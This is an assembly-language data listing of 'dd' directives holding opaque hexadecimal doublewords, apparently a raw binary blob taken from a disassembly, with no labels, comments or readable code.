dd 10A4F38Ch, 0FFB80336h, 880B5FDBh, 0F900A0B5h, 1883E11Eh
dd 70CC1940h, 0E6E652DBh, 667614F5h, 0B100F44Ch, 4A208C3Ch
dd 569813B5h, 9AC15215h, 90E502ACh, 703FECFCh, 58C004E0h
dd 80F1A62Ch, 90888285h, 0D05E49h, 8ADD27E9h, 9E1630h
dd 1245CCEAh, 35A342BFh, 0FE001190h, 0D2938A79h, 0F6158E4Eh
dd 4BF900E8h, 54100489h, 3007EE24h, 0F5E5958h, 0E2FFB3B0h
dd 0B7104DEh, 0C0F026BBh, 0FBB06A94h, 4FCC9D0Fh, 0D6AC40D9h
dd 1DDB670h, 9373792Ah, 0BB928481h, 3AA680C0h, 701F6187h
dd 28A2005Ah, 0DDB1ACFh, 1E00F420h, 0E83C5B3Dh, 57E4BEh
dd 6B3F250Ah, 0A577404Ch, 0CC89FB0Fh, 37C940E1h, 9242C35Eh
dd 9B6D0290h, 571D6110h, 840050D8h, 1FE3A8B2h, 7F67B6EBh
dd 0C44A05FDh, 80EFBFDFh, 0FA49D1EDh, 0E530F865h, 89645880h
dd 0EB77589Ch, 0D1E6CC00h, 0BA5CFABFh, 3DC75100h, 54646006h
dd 1C280AB3h, 832FB6h, 71DFFF27h, 50F06172h, 750E4498h
dd 4B07590Dh, 8A9D87B0h, 21A9DB90h, 0ED8C0042h, 1AFEEF9Eh
dd 681E51D0h, 2A87A227h, 1830A4E5h, 7D82F2AAh, 0B43F03C1h
dd 34334C52h, 28BB1BDBh, 0C8C981AAh, 8BD8F4E7h, 0A70E1400h
dd 8235112Ch, 0D91D0F48h, 5200FA5Bh, 0DFA553CAh, 0A9E56300h
dd 0AAE419Bh, 35FD0062h, 9F76C554h, 5700A0B3h, 829775E7h
dd 903614C3h, 517E0760h, 3025EACFh, 0CA429E0h, 5CC76D0Eh
dd 0D517C0B0h, 0D87A3Bh, 89843663h, 560C420Bh, 8005499h
dd 27733374h, 0C490C4h, 91DB358Fh, 1C5694D5h, 302C0B0h
dd 0E4D3CB02h, 6974E0BFh, 0F45E00C1h, 0BBB96838h, 16003C1Fh
dd 0C03E6B4Ah, 9018EED6h, 8780026Bh, 7FCC4F37h, 64087761h
dd 66009ED0h, 0B92C2F0Bh, 0F86D03h, 0DE7F63Bh, 0FB26EE06h
dd 73709CB6h, 93812C38h, 395200C4h, 16DE9B33h, 0D290A00h
dd 0C432627Eh, 75CA16FEh, 5790C11Ch, 24C21021h, 9CACF6EFh
dd 0FCB00034h, 4BD72D37h, 4609EE07h, 0A3D75217h, 3083B604h
dd 93FBB07Bh, 89BA049Bh, 0C0C8556Bh, 1E8D1988h, 7249CF00h
dd 8E6ECB68h, 26CC01B5h, 0CD2E41B6h, 8B3E7066h, 6C906078h
dd 7C8ACF00h, 8D466ABBh, 4FC31CBAh, 2B43C266h, 0A86090E3h
dd 25007084h, 0EEA75682h, 2CC8CDD1h, 3CF5D2h, 120F2E3Bh
dd 1C008F4Dh, 9B8771A1h, 0C610F8h, 7AABEFB5h, 0DD46EC64h
dd 0BA441507h, 31C0C336h, 7B5B648h, 46B5BB2h, 86E40137h
dd 29C440D5h, 73004894h, 0A597AB7Ch, 0C216B8h, 7627F6F9h
dd 75794BD1h, 4AE60E04h, 0D031DAh, 1C3259D3h, 0AD91FA8Ah
dd 0B0555CA0h, 1F002EDFh, 0AE3BE58Eh, 0E224DBh, 0C04CEFA7h
dd 82B53ABFh, 0E7C0409h, 0B9A08050h, 1314907h, 0D0B470BAh
dd 6428D73Eh, 93090240h, 2760326Fh, 8221F200h, 0E2F620h
dd 77436405h, 1295E11Fh, 0CA1C800h, 2F59D0h, 91332D02h
dd 3F6D80A2h, 83E24513h, 0C9E8D044h, 25CBCC88h, 0C009840h
dd 14F99AFCh, 0C8F6A01Ch, 9880C217h, 1D512E97h, 802B047Dh
dd 50C1433h, 7F243147h, 73002459h, 0BF7917DCh, 0BE8800D3h
dd 0CE1BC0BBh, 0EA0082E4h, 0B19D3E84h, 6F0A7Eh, 0C1A7397Ah
dd 51796449h, 9960E716h, 979BD300h, 1B06E5h, 0BC03E92Ch
dd 0AACFA596h, 75C67B00h, 7E378354h, 3FC42EAFh, 71E48098h
dd 2197C093h, 0D120379h, 0A4805305h, 1C5E0227h, 80909533h
dd 0F3B3C6E6h, 727E0EA7h, 39029177h, 8ADC587Fh, 0D9304008h
dd 4C8F363h, 0AC090198h, 0D35AF34Dh, 0F74ACC1Dh, 0E4319D26h
dd 0FBC8039h, 0B6453B2Ch, 64970065h, 146F81CCh, 950EE43Ah
dd 0A40376E1h, 64ACA4DCh, 93C682C1h, 8EDC8906h, 0D96E803Ah
dd 0C3E7DAA3h, 73082092h
dd 98E027FAh, 9900EF4Dh, 0F23060D8h, 4E5E1B7h, 0A81393E7h
dd 912C022Bh, 0EC7660DDh, 2D4F001Bh, 0CF336E7Dh, 961DE1A8h
dd 2642826Ah, 68ED05B1h, 9E0D314h, 36CFBFFAh, 32778C80h
dd 2E1375A0h, 6F0E7885h, 0E6005CFEh, 9F240E95h, 0B0A039BCh
dd 0D8A63800h, 1FEA67D9h, 5A021200h, 0ACC98127h, 0A69150E6h
dd 22C61D62h, 0C41CD580h, 0C9023538h, 0FA0B67A5h, 0C6EC0FC0h
dd 583B4F00h, 9E1421B3h, 19911E83h, 0BDDAC765h, 0A0BE6734h
dd 96EDE492h, 5DB42201h, 1B859FE6h, 2DECBC70h, 0F4805054h
dd 0D05C0D49h, 1129920Fh, 0EA0E6FFBh, 96701055h, 4254E891h
dd 390F0047h, 3E4031B0h, 5131EB8h, 20C80F21h, 0D08C0050h
dd 110F1EDAh, 0E8E0F8B3h, 4D18C0D3h, 73D33FDh, 948D760h
dd 70690B3h, 89135CBAh, 0BF72004Ch, 1E5462D2h, 0F0004A88h
dd 219CFD11h, 5ACD31h, 0B2DF4589h, 358CB96Dh, 4A07AE1Fh
dd 929B5180h, 85E8BCh, 37C83470h, 6C695CABh, 0DA0E9800h
dd 66BEA9EAh, 8F400E0h, 0B4B60CE8h, 2800F1B1h, 50FA78DCh
dd 7E051D2h, 3DC0A607h, 2584E04Bh, 6031598h, 0BE81E6EBh
dd 0CCC0951Ah, 7DE76F2h, 24AADAD4h, 7C1780A4h, 0A61D2216h
dd 837CCEBBh, 6115B4D2h, 241AC091h, 0EBAC0031h, 0C9FDA97Fh
dd 2589BE9h, 0C5007AC8h, 0D4DA3416h, 85E5D1h, 0A2522677h
dd 4E81C1Fh, 0AA2BB51Dh, 48085DC0h, 40B399h, 0C68A1D76h
dd 1AA694A1h, 0E9A280Ah, 0AA02CC2Ch, 68B3E44Dh, 7EC4964h
dd 0EE26AE5h, 171DB1F1h, 0F40898F0h, 7BFC4C21h, 7DCF056Ah
dd 4D671h, 37902A8Fh, 0D91DCE76h, 18C0A39Ch, 96220515h
dd 2E5001B8h, 0B0D621F9h, 5E498084h, 45757D42h, 0FC8FE297h
dd 10E820B6h, 8B3BAC00h, 0F468554Dh, 3D1C03FCh, 7D44B620h
dd 18D1204Bh, 382292AFh, 9F3CAC00h, 814CB774h, 70C0B3B8h
dd 0BB1110A6h, 0F2967C2Dh, 18EC63EEh, 39008EB1h, 0BA136220h
dd 0F532AF4h, 816E5AB7h, 0CCF0E6C1h, 8230242Fh, 0D8E75B00h
dd 1250D729h, 0F2A307F5h, 3075438Eh, 0C5300E02h, 8B31FE18h
dd 0C3C63668h, 0C058CD81h, 0A6C003C2h, 4E00314Dh, 455163A5h
dd 46AD5Ah, 171BCB90h, 0C87F7E3Dh, 0F41BB3Eh, 85C387ECh
dd 83B1B2h, 11DEA085h, 186F00E4h, 7364163Fh, 75660F24h
dd 1F21EB08h, 0EE18664Ah, 0E1003CAAh, 3AD82DA4h, 5D07FB78h
dd 0DCA585EDh, 330BD26h, 0A76683CFh, 10588425h, 80F43E01h
dd 0D395A199h, 0E8945990h, 0D021C034h, 89D2F4BEh, 82428C0Ch
dd 101FB028h, 669B9498h, 46B81129h, 1872028Dh, 315C1630h
dd 65531090h, 9A520018h, 19E3FD80h, 0C3065076h, 2285051Dh
dd 16200268h, 11AAD9BEh, 0CDC07E05h, 7CA4673h, 0DA59B5F8h
dd 21C346F7h, 0C4E89C00h, 8D7B3D6Dh, 0CD610F78h, 994651A1h
dd 0AE077998h, 0E31C1936h, 808F0740h, 306A38F8h, 613E2A9Eh
dd 419FBA11h, 0EA466FC4h, 88F50CF7h, 0C401F498h, 0A5E135ACh
dd 14300F64h, 0CCE40109h, 394CD083h, 0AEC441FEh, 8DADCCC5h
dd 0A916A12Eh, 7D233300h, 385479F1h, 0AC000A7Ah, 0D8A10D1Fh
dd 22F83803h, 98649A00h, 6A49BE9Fh, 0B21E0067h, 0BA2AF392h
dd 0F10089A6h, 39DD1147h, 70C2EF38h, 96260012h, 782737Ah
dd 9800FB40h, 6D493051h, 0D45866h, 966133A6h, 95280D46h
dd 0C2EB126h, 5B00541Ch, 1407CBF9h, 410D1B6h, 0A2659C3h
dd 416D1000h, 5E6AF9Fh, 29DB1DDFh, 681140C9h, 4C954D71h
dd 0C23E4200h, 0CEA8A537h, 0EA210031h, 0D97E8280h, 0B670F51Eh
dd 836E409h, 88CB009Dh, 7E2C40ECh, 6A29007Ch, 160C8644h
dd 5F007179h, 0ECCD74A3h, 0BBB132h, 73D6A613h, 669F33E7h
dd 932F6300h, 2CF924C4h, 35BE007Ah, 0FF8ACE58h, 0A50019B2h
dd 0F6281CCAh, 936A77h, 4238BE62h, 1731C0AAh, 94696800h
dd 60BB7279h, 0FE6B0076h, 123BA525h, 50FC1727h, 0BC3D6500h
dd 6DB0FD55h, 6BE74E8h, 0C592C08Dh, 3F07781Ah, 47446F74h
dd 9E0180DBh, 0F890DCh, 39170A0Dh, 7BF16983h, 6DE59F00h
dd 62EFA4BAh, 33A70016h, 0DADBE825h, 5008595h, 4C0A38DEh
dd 4570ADh, 0C56F6898h, 1D43069Ah, 6DE72E00h, 2F77A2DFh
dd 5BCA0058h, 6C619950h, 34548556h, 4A0078D8h, 0C6581014h
dd 6A5A07h, 4F8D6716h, 0A0B87F31h, 2B3B40C0h, 4BE5C33h
dd 64566D63h, 40DD4014h, 0A41D9Fh, 97F2E406h, 0C8B93EF7h
dd 8A0D9300h, 2AE2863Ch, 2F6604B6h, 0C0C7271Eh, 2899D9EBh
dd 2DB14A01h, 0E198E36Eh, 13CBCCh, 6567C410h, 0DC9770D0h
dd 0CF044848h, 6AC360F6h, 9858620h, 412F88EEh, 5A81180h
dd 5800812Bh, 0F1B435ECh, 1DB94C03h, 9D420E3Ah, 2F1B80C0h
dd 6B048C96h, 5B80E61Fh, 83729DFBh, 70F9F745h, 0C52480BEh
dd 2B00C8CDh, 975EB2EBh, 1CC40C9Eh, 473E5946h, 0D1507E34h
dd 42FDD114h, 0FA81D5B8h, 0D820B548h, 4600F8D3h, 70B65081h
dd 0B8FE7CB8h, 429C8213h, 36A4A7A3h, 72B93Ch, 0BEB4E9E5h
dd 7C26BD0Dh, 6D5B5C05h, 0F180FC1Ch, 358760h, 656CF369h
dd 0D326D807h, 8F5C087Bh, 0BF6F007Fh, 4B49561Ah, 3C79F645h
dd 0E380F018h, 2A518BFBh, 0A812B23Ch, 0DE001D91h, 9F2D6DFAh
dd 13A2815h, 9B6600E4h, 685AB88Ah, 0E7026BE4h, 4DFAFB27h
dd 7E9140CCh, 0D808039Eh, 287F6C38h, 0DCF7618Fh, 0A76DD88Ch
dd 0F30D96C2h, 654E08Ah, 11EF441h, 33A47E4Ch, 0D45384BDh
dd 70076D5Eh, 9B9D3FAAh, 0D4C9A030h, 212A0562h, 80BF57F7h
dd 4F5B7105h, 0C3F5B100h, 61683844h, 7233DABh, 0D90330CDh
dd 77C07CFEh, 0CBE92840h, 0F3FB8C00h, 5A825759h, 842803A1h
dd 4CDF006h, 946E50EFh, 3C4CBC01h, 0B78008Eh, 0D7832F2Eh
dd 311E00D6h, 35F4FE58h, 9328A2B0h, 5A009C03h, 9B4B1F24h
dd 4C652664h, 31068A63h, 9EFD7C0Bh, 330016EEh, 0CA364395h
dd 0F8CE85D7h, 0BD503DDh, 91F45F12h, 55D40B0h, 88818E03h
dd 0D0CDB0B8h, 453B61h, 7669552Ch, 1D7CDF1Ch, 2428E650h
dd 5F971500h, 9F300AB8h, 4DCE00E9h, 468122E3h, 0BC000BA5h
dd 0DF53BB24h, 2E637764h, 39CCA2h, 0BD35D54Fh, 1C00C212h
dd 75ED5796h, 0C09452E0h, 261BAE50h, 0E011FCBh, 0BCD9F53Fh
dd 33CCAAB1h, 9171007Ah, 0C1462B0Dh, 0B4F4F227h, 3E26603h
dd 0C7904356h, 0B5530960h, 0AE590C70h, 5C83A11h, 67C03812h
dd 15EAEA05h, 4F1B6800h, 121A6ADh, 395E6101h, 246B429Dh
dd 0F707483Ch, 3F8F6873h, 3236AAA0h, 0F2B13870h, 0B71CA800h
dd 4475F062h, 0B5DA2E14h, 0F31150A0h, 4A559200h, 0E1F419C8h
dd 0A2910035h, 0FF7C0E46h, 83F8160h, 9A7A9852h, 7178810h
dd 0CD73122Fh, 8515D0h, 10AF4A0h, 920F5E3Ah, 41D77670h
dd 0FFE3FB9Bh, 2E03F7C4h, 4EAB46Fh, 93596E4Dh, 0FE9957DCh
dd 45523019h, 0D67C4800h, 652523E9h, 0DA260912h, 4000C6E3h
dd 0FBBA2086h, 10733B0h, 9345410Bh, 4FE06877h, 0AF607Ah
dd 0B2DB4DD3h, 2FE0D2A9h, 74616B3Eh, 0B1BB9F02h, 6015787Ah
dd 0FA99B4h, 0C2514C9Ah, 0A6256462h, 84311D01h, 517CF5Dh
dd 0FCFA5330h, 2CBA0085h, 4B749C36h, 0E001311h, 0F937197Fh
dd 18ABF540h, 18163F7Ah, 0D50079D3h, 527F8832h, 0FEC5303Dh
dd 1FB90718h, 20F95038h, 544642Ch, 0ECE1BC26h, 0AB261680h
dd 30DE8241h, 0EE70846Bh, 3A004CCBh, 0D84B72CCh, 0BE307Eh
dd 6BF5FDE0h, 0D2AA01FAh
dd 0AD08BC00h, 0D17A48A0h, 0BA5900D9h, 8B05BEEEh, 4200D014h
dd 0BD5AC31Dh, 29CA37h, 0DAE46E10h, 1248B263h, 4E491E00h
dd 0B0D26299h, 40460029h, 329BFBE5h, 8781244h, 0EF24C679h
dd 6C802CF4h, 0B8ABBB27h, 5993002Ch, 96488E2Bh, 6A00A91Ch
dd 0A5440D01h, 2C222Fh, 16B8C3B5h, 1CB975E0h, 1F31C15Ch
dd 5E824F7Fh, 600B6864h, 3E65DFB4h, 3280C8C7h, 0F0F28BC6h
dd 25061D5Ah, 8A093457h, 3059001Ch, 3396B06Ah, 0DE00AF24h
dd 0B34F85B4h, 3D421F3Ch, 3F001CC7h, 0AE8FBB28h, 98009FF7h
dd 0E6D2EBBFh, 838C2Dh, 0C3790E0Dh, 0FD229B68h, 99737775h
dd 0BD098618h, 380FC48h, 4C39D39Dh, 41017B24h, 0B967EE2Eh
dd 72D4D932h, 80E400C0h, 1953AB5Eh, 3B1C819Ah, 0BDC00985h
dd 67EB5210h, 0AC383B41h, 9EECEA2Ch, 0F73B83F0h, 0DCF86A22h
dd 0D302107Dh, 0F50304A9h, 5118407Bh, 0ACFB1345h, 8B5C0756h
dd 47C6E011h, 6F03CF39h, 0BC9F2937h, 0CD4E8E5h, 0FC3B48ABh
dd 0E4E4FC7Fh, 4ADF1865h, 62957111h, 4988A80Eh, 6F821E27h
dd 8147DF50h, 0A8599710h, 3F291C34h, 26B1F0F5h, 8FC9DB08h
dd 9DFD2719h, 0AC53C40h, 1BF6A9Fh, 0C60D6C97h, 0E0254D19h
dd 0DD6115BDh, 5E73628h, 30A86474h, 6F68047Bh, 93184856h
dd 329B9AAh, 10211627h, 45404ABAh, 20059044h, 271503DCh
dd 0A985942Bh, 0C1D52124h, 7135627h, 30DD58B8h, 33F0B09Ch
dd 7E0043ECh, 0E34716FCh, 9F6BB420h, 0B7004DF8h, 3A7776EAh
dd 135A1929h, 0D06960h, 4B91A458h, 9205C067h, 2E38211Ah
dd 49EA8BC0h, 0F8CC00FAh, 485D59E3h, 0BA0F7127h, 97B34B6Eh
dd 1F76FE00h, 9814AE5Eh, 0F904607Eh, 3686B9E0h, 1A198E0Eh
dd 25D1C7A8h, 3D21FB46h, 300A1CBh, 88399176h, 0DF00DCABh
dd 19688969h, 516F50Ah, 8CB653ECh, 64905E44h, 38B300C7h
dd 3110E537h, 31E4673Ah, 2A04211Fh, 7A9E60h, 57C83277h
dd 0C5622C7Ch, 0E0EC1E00h, 0A88AE945h, 0A7807BBh, 53D1E4h
dd 2933B602h, 74005091h, 6FC294D2h, 44707EEh, 44480797h
dd 0D3D4D0FCh, 27009514h, 0FE2EC340h, 6CCE3A51h, 0B68960EBh
dd 0E9C34898h, 0F89BC58Bh, 73455A38h, 111C3027h, 93B2BD80h
dd 57E17215h, 10823A0h, 8E3786BEh, 0CA1E0E01h, 0F26783A6h
dd 90B459EEh, 0D5FA8D0Ch, 520BBA00h, 21B949D9h, 0E9AC007Ch
dd 33CA99AAh, 89C4E0E4h, 8010B0C0h, 0C7AA106h, 6D031041h
dd 5A1589F2h, 0CCFB901Bh, 209913BFh, 0C0511D90h, 0CDFF91B4h
dd 0D5000518h, 0ED448707h, 0A2D3C0h, 1F5B414Ah, 8BEED8A6h
dd 13989400h, 0B5C4287Ch, 0C0960009h, 5BAF1D7Eh, 0D500FBC1h
dd 0EFEB9A18h, 7717E692h, 0BB660054h, 3D2C9F3h, 0C124EE70h
dd 350003F0h, 0B2D80936h, 0E43F0004h, 9C92C4D2h, 0CA001EA3h
dd 0F3FD87EEh, 9FB481h, 20A9AD7Fh, 0A86B5122h, 31FAEB07h
dd 7D70F946h, 0B73615h, 2F74AEDDh, 2169E1FFh, 90F7EA07h
dd 917114E7h, 0F1FCFD89h, 7B9501F9h, 0ED029473h, 0EA4AF0BDh
dd 0FF2DDA00h, 0CA330CA0h, 0D8A70148h, 18BDBBA4h, 32A6C87Fh
dd 126CFD0Ah, 9501D0DDh, 9CB02493h, 96B1588Ch, 1E7F6C08h
dd 0A2D45F00h, 6E3570BEh, 3CB20FE3h, 51002D99h, 0DCCA34BFh
dd 495E0F00h, 0E39C0462h, 633D0C3Eh, 0CFA95B14h, 7CF07901h
dd 6156E557h, 90D799D0h, 3AF10001h, 88827AC3h, 31C76DCAh
dd 808D1267h, 150EE0h, 0A9C1B1BFh, 5FAB03CCh, 0A15AF30Ch
dd 892076h, 64490B6Fh, 54E343F0h, 7A998A0Eh, 0DC50050h
dd 3014CA8Fh, 0A7A16EE8h, 56083E43h, 80BC1567h, 227EC98Bh
dd 1F3D733Ah, 3FD1BB0Fh, 6869977Ch, 0D513A303h, 9401BD17h
dd 86CEEC05h, 30B391E8h, 57894BA6h, 4E98D4D7h, 8EEBD918h
dd 607888C1h, 19C2696Ah, 0C6FC1496h, 0D81D10C0h, 3DC41Eh
dd 0E1FC3E08h, 8CC0391Ch, 90727300h, 52F7A05Eh, 0D20F00D1h
dd 0A693B077h, 0C63D55BFh, 24250098h, 72F1671Bh, 9DB1718h
dd 36C60061h, 0E85FFA14h, 967EE9FEh, 0BFC66200h, 0E2A1E3B2h
dd 4411CAB8h, 3F0F7C04h, 80450B4Eh, 0EAF5EFDAh, 23290087h
dd 6B64C94Ah, 5F001099h, 8339DBADh, 9D3015h, 0E1468709h
dd 2BAFCCEEh, 41343600h, 2CBE7E72h, 26847E9Eh, 63AA35h
dd 4BB02E60h, 76006D74h, 2445E89Dh, 112CB2h, 0E61FC953h
dd 19D8CE44h, 0E92A3300h, 13D19F4Dh, 8AE10070h, 6CF7F412h
dd 5000B984h, 386AEDD2h, 629861h, 2794539Ah, 0BF3242D7h
dd 117F7B0Eh, 0D4D8A009h, 0C94EDBh, 0EF0CF912h, 469489E6h
dd 0DFB1BB1Dh, 0BDF81980h, 0FBC24Dh, 0B8D1CC88h, 7481C891h
dd 0FE936600h, 731C6D6Bh, 0EF8300DCh, 85991288h, 8200399Eh
dd 268A1F08h, 7FA62C18h, 36780Ah, 0B0742F04h, 0C754CBEEh
dd 730840E1h, 1F00F867h, 7D0D2778h, 0D10925h, 0D796560Eh
dd 4FAEBA02h, 0D8CCBC50h, 2B001EB8h, 3A180A1Bh, 0A6EEB1h
dd 6C6AD4F2h, 44A50166h, 4002067Fh, 0B415C66Bh, 0F8C0DDCBh
dd 0F900CC68h, 74DD6339h, 0E723DCh, 3611D893h, 0E96907EEh
dd 8B70B461h, 0D100BFC4h, 3007FBA9h, 0C0CAF814h, 0FAA187A0h
dd 0C8960EF0h, 762032B5h, 78BF6C8Dh, 836F7C00h, 1FA2BB2Ch
dd 1AE4A0BDh, 7427397h, 7BD04EADh, 7FA490C3h, 0D709C9ECh
dd 8CEEF9h, 12FDD9D7h, 51310021h, 0E8DA634Ch, 0CB775040h
dd 73AF7700h, 537E118Eh, 6A951482h, 0D40F4CAEh, 3CE74AF6h
dd 6C41A0F1h, 0E9FE4673h, 0F426110Fh, 0E3D6202Eh, 3B72836h
dd 182489A8h, 4BF09BFCh, 6A71591Bh, 416E73Bh, 1CB5CAC5h
dd 0A508081h, 7E003C22h, 0EDA8B612h, 0B71E0130h, 3C43C4A0h
dd 0C95C0CBFh, 9BF0B5D9h, 8B160004h, 29D6B4E5h, 0E0085CBh
dd 67CD70Bh, 0C309EC8h, 8B52F8C6h, 59FE3C18h, 3FB3CC00h
dd 0D8ADFFEFh, 0E5601E6Dh, 0BD30C091h, 810CAC21h, 18ED390Eh
dd 15031C13h, 0E149D5h, 0D31BA2B2h, 26C40636h, 17BA910Ch
dd 39522D2h, 47C501A0h, 0D0006932h, 0F03A8934h, 1F51F811h
dd 81B0DCCBh, 0A9BC8D98h, 37D8501Bh, 0EB00DF65h, 0E3F4842Bh
dd 60D08AF6h, 9C32B086h, 0F73F588Fh, 0E0E8870Ah, 7DC0090Dh
dd 0F71744Dh, 0EC153A91h, 8F5C5D60h, 4B00112Eh, 289FAE46h
dd 38298EB5h, 8C280533h, 0D5DB00E0h, 0E13B99D0h, 80C0BC7Dh
dd 7442E841h, 966E262Dh, 0D8DD0020h, 1D770E51h, 50BEBB26h
dd 0A24AB881h, 8EF4ECCEh, 0FEFC263Fh, 40811CEEh, 0D54BDFF8h
dd 3BE2842Ch, 0A8EBFA30h, 614E6F90h, 24759891h, 3CE4DCCAh
dd 0FA47BA1Dh, 557EF700h, 23A4DAh, 578FD353h, 0D8212D9Ch
dd 84313818h, 407449h, 0F080796h, 1298A1CEh, 13ED6A00h
dd 873445A0h, 0AD4B0253h, 6318D3DDh, 96556EE0h, 42472700h
dd 28DE315h, 5D780E1Bh, 38204EE1h, 5C6A7A58h, 0A2ABE402h
dd 0E3EA17EBh, 0E6ECE0E5h, 0C02C1F8Bh, 83C6C0EEh, 359FD280h
dd 0E1F4C300h, 0F152C1D4h, 5E1F1739h, 6E4000C8h, 13C571F9h
dd 80ED3507h, 0B5C35186h, 997AB029h, 0A6731264h, 400807BBh
dd 0EAE8C1C9h, 0CB808165h, 0F97D7E3Dh, 2607ACF0h, 8308CDE0h
dd 92B56ADh, 703F78C8h, 0F81C9700h, 0E4C36046h, 0B5C6008Bh
dd 0C06F2095h, 0D7F5C68h, 0F7CAEA00h, 0ED630350h, 9D2401A2h
dd 2F6F7977h, 0E1FA7006h, 9D884Ch, 338410A1h, 78238931h
dd 8E4200BAh, 6A6E1362h, 9100478Ch, 0F4C84ACFh, 38126B2h
dd 7E07AF59h, 0A009C788h
dd 2A56DFh, 0F5337C08h, 7F2C13BBh, 0F06E0172h, 0E160F7C9h
dd 6E9C30B0h, 2507A5B8h, 660F4DB4h, 63861CF0h, 3C9B07C3h
dd 0A03E6FC7h, 4CBE1489h, 7E80044Eh, 18A8E64Bh, 1815A377h
dd 2301CEAFh, 57F4709Bh, 0C0CCC676h, 0C17BB9h, 0E3D5CFFh
dd 0ABFA588Bh, 0C65A8004h, 0F981BE17h, 3ED94213h, 4FEAC20h
dd 0EE1A6BCBh, 0D9BCD0F2h, 2505FFABh, 177550F1h, 2311B000h
dd 5D0E79h, 0F38A9C0h, 33036A47h, 49CC261Fh, 0A4880F8h
dd 8144CEEDh, 5DB000ACh, 0BC9CF0E4h, 290014C1h, 246ED7D6h
dd 7E1DA5h, 1F325B36h, 523942CAh, 98180FB0h, 9B389CC7h
dd 4C8E0EB6h, 0BCC019FCh, 45EB348Bh, 23D7CB0Fh, 0E428613h
dd 0D89B0341h, 0EEC8ADCFh, 0D5F226E8h, 1054D58h, 241C5EDAh
dd 37607B17h, 2E727Eh, 87EBDECEh, 0D6A77137h, 8091FF3Ch
dd 610F8902h, 1F52B578h, 4E5434EEh, 72E7483Bh, 0C6A4F09Bh
dd 1008C3Dh, 266FDABh, 0E00ED48Bh, 0F77F206h, 0CA614C53h
dd 67B3C09Ch, 0DA87CB82h, 1500FD7Bh, 0C1AD8598h, 198379h
dd 38765FB9h, 60BF8E21h, 4FA7B006h, 107251h, 4CD6D82Fh
dd 1F937F50h, 1D372C12h, 5DC2E821h, 6141F8h, 8A2AAC04h
dd 0D2572E24h, 8773181Dh, 7B6F9B80h, 0D8B602h, 4365D350h
dd 0A31F5F7Eh, 7AF88F18h, 61260710h, 0ED3F56B8h, 0F2D8F7B4h
dd 0AC3C400Ch, 726F80F6h, 34947646h, 0CF1B13FEh, 0EF8040BBh
dd 0F651B0BCh, 8BD44F17h, 24003813h, 0EC490A8Ch, 58C40140h
dd 63A1AEA3h, 0DB1070B1h, 0C5FEDAE6h, 7EB7190Eh, 0E7CB95h
dd 93EF7194h, 7F41183Dh, 3BBF604Bh, 3C60332Eh, 2902DD81h
dd 89DDC86h, 3B1907D7h, 4121DC5Bh, 9549971Eh, 9ED65846h
dd 0CD97408h, 635C3EC0h, 0E90F4450h, 61920BB8h, 0F090E083h
dd 0E84FBD0h, 0E6F63158h, 0CD50B820h, 3F007D99h, 52977274h
dd 12BC9F28h, 3E0D992h, 63A2C5A6h, 93E790Ch, 3B6B02Fh
dd 74DAFE41h, 2802E112h, 3EC29EEFh, 0A240A052h, 80F09DB8h
dd 0E7E8F3BAh, 0BF283854h, 2A00CB90h, 0B78CD6C7h, 1EA075h
dd 5BBDA369h, 967ABB9h, 487B8900h, 75E26873h, 518F0078h
dd 0CA90EA7Ch, 0BF070474h, 11B2186h, 8A00F147h, 7D7B41h
dd 3D63C762h, 0E729D173h, 0D7720616h, 19ED7A00h, 7DB740E0h
dd 70300A7h, 7B09B8B6h, 0D7012761h, 154C816h, 0DC29BC57h
dd 0B68530E0h, 0B0E9C70Ch, 0C2191Eh, 9EDD7929h, 0E74E5833h
dd 265B233Ah, 0DC809C05h, 6D8E7811h, 55DD0CB7h, 0C7695D95h
dd 0C11C3A00h, 70CE0A73h, 1E4F00F7h, 109AC668h, 16EE08E9h
dd 38300E60h, 97E81703h, 4E429640h, 0D59CCCA8h, 1EA8690Fh
dd 8F41E0FBh, 1BD5D0Ah, 392F8658h, 806E3D84h, 0A5526220h
dd 0A70FD914h, 0F8D60820h, 0D7B816C0h, 8050E7BFh, 1A8ED5Fh
dd 0FE01B72Ch, 0BD093F63h, 41216F08h, 0D753A915h, 6E78CC5h
dd 2F0E158h, 0B101C811h, 0DADB2585h, 0F882C9BFh, 0BE0CE0C6h
dd 0BCE5C0FDh, 182148EEh, 8E926680h, 9A03DC82h, 0F8471E29h
dd 6DA32Eh, 8EE51C21h, 0A3708140h, 9A09BA00h, 0DAC6BBF0h
dd 60FB67C7h, 1F284A4Ah, 67F0413Ch, 0D0403927h, 305D3855h
dd 15E458E0h, 788C9710h, 6C42400h, 83D890E1h, 223B33B8h
dd 21002F08h, 5006CC7Ah, 33DB670Ch, 98E07FD1h, 717B6230h
dd 0C01C8B55h, 5EB38231h, 0E03B30FDh, 124505D2h, 9C42D0E2h
dd 44E34AE5h, 0D37F000Ch, 0A72609Bh, 8A05E0E7h, 8370C94Fh
dd 588A804h, 7F979C0h, 0B5AF18B0h, 0FE39185Fh, 918C360Ch
dd 79F31071h, 0D90A021Ch, 0F89FDB76h, 0E85F8880h, 0B8A0A62Ch
dd 0AC00301Dh, 1EBBC62Dh, 3AB4BAh, 0B8477E4Bh, 68B1F128h
dd 97940C03h, 0BE4D8EBDh, 0BC822658h, 0A9184094h, 100067C2h
dd 0CD646F47h, 1C09F4E5h, 2E1154h, 13F25FBCh, 0E800D49Eh
dd 68223FAEh, 607E737Fh, 57BA90ECh, 0B5001247h, 9D5CB215h
dd 0C1B3D4E9h, 2FC5DFA0h, 115C58FEh, 40676D80h, 0B1B813A8h
dd 0E0BCF43Dh, 69CD5D99h, 0FCF100E2h, 39AD7B68h, 64187331h
dd 0DAE17F30h, 0DBD504AFh, 98EFC7B3h, 794C2FE8h, 4CE45170h
dd 21C011E8h, 38781722h, 5726010Dh, 694D0649h, 8397E945h
dd 5EB13CA1h, 0C76388E0h, 0B75D0631h, 0B066B4D4h, 0EA971D00h
dd 9C3671F6h, 0C865054Ah, 40ECD430h, 0B5D887F0h, 90F01Fh
dd 0DF71C61Eh, 84F37C0Ah, 8B119002h, 6A4600D1h, 67018166h
dd 0EC624516h, 44200FAAh, 26DD265Bh, 34723B18h, 9030B8ACh
dd 8B9D6248h, 50DAF4E8h, 33809038h, 0AB048694h, 80909206h
dd 0DF803867h, 5FE906D2h, 7696047Fh, 0C116D9CCh, 20C7BD28h
dd 660CC428h, 68FC503Bh, 0E0960940h, 4A110C9h, 89E68375h
dd 21AC691h, 68595F70h, 64C8AC80h, 0CBB4B1AFh, 7E3DFB8h
dd 0F113B774h, 0F0B3EDF5h, 70FDBAAEh, 5A18CFA9h, 0BCC91E39h
